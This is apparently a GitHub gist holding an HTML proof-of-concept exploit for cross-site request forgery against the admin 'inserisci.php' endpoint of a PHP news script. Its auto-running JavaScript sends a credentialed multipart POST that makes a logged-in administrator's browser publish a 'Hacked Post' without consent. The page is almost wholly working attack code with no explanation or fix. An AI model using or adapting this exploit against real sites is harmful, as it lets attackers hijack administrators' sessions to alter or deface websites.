Skip to content

Instantly share code, notes, and snippets.

@Zinkuth
Created October 14, 2020 09:35
Show Gist options
  • Save Zinkuth/1d95c5d2bf8d59e96ec24c624729af55 to your computer and use it in GitHub Desktop.
Save Zinkuth/1d95c5d2bf8d59e96ec24c624729af55 to your computer and use it in GitHub Desktop.
<html>
<body>
<script type="text/javascript">
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://172.17.0.2/sns/news/admin/inserisci.php", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------40332906111198093676802403210");
xhr.withCredentials = true;
var body = "-----------------------------40332906111198093676802403210\r\n" +
"Content-Disposition: form-data; name=\"titolo\"\r\n" +
"\r\n" +
"Hacked Post\r\n" +
"-----------------------------40332906111198093676802403210\r\n" +
"Content-Disposition: form-data; name=\"im\"\r\n" +
"\r\n" +
"IM\r\n" +
"-----------------------------40332906111198093676802403210\r\n" +
"Content-Disposition: form-data; name=\"size\"\r\n" +
"\r\n" +
"Normale\r\n" +
"-----------------------------40332906111198093676802403210\r\n" +
"Content-Disposition: form-data; name=\"color\"\r\n" +
"\r\n" +
"Color\r\n" +
"-----------------------------40332906111198093676802403210\r\n" +
"Content-Disposition: form-data; name=\"helpbox\"\r\n" +
"\r\n" +
"[url]http://www.web.tld[/url] - [url=http://web.tld]text[/url] - ftp:// - https://\r\n" +
"-----------------------------40332906111198093676802403210\r\n" +
"Content-Disposition: form-data; name=\"testo\"\r\n" +
"\r\n" +
"This post is a result of CSRF Exploitation....\r\n" +
"-----------------------------40332906111198093676802403210\r\n" +
"Content-Disposition: form-data; name=\"immagine\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------40332906111198093676802403210\r\n" +
"Content-Disposition: form-data; name=\"userfile\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------40332906111198093676802403210\r\n" +
"Content-Disposition: form-data; name=\"letture\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------40332906111198093676802403210\r\n" +
"Content-Disposition: form-data; name=\"categoria\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------40332906111198093676802403210\r\n" +
"Content-Disposition: form-data; name=\"abilita_commenti\"\r\n" +
"\r\n" +
"on\r\n" +
"-----------------------------40332906111198093676802403210\r\n" +
"Content-Disposition: form-data; name=\"notifica_commenti\"\r\n" +
"\r\n" +
"on\r\n" +
"-----------------------------40332906111198093676802403210\r\n" +
"Content-Disposition: form-data; name=\"submit\"\r\n" +
"\r\n" +
"Inserisci\r\n" +
"-----------------------------40332906111198093676802403210--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment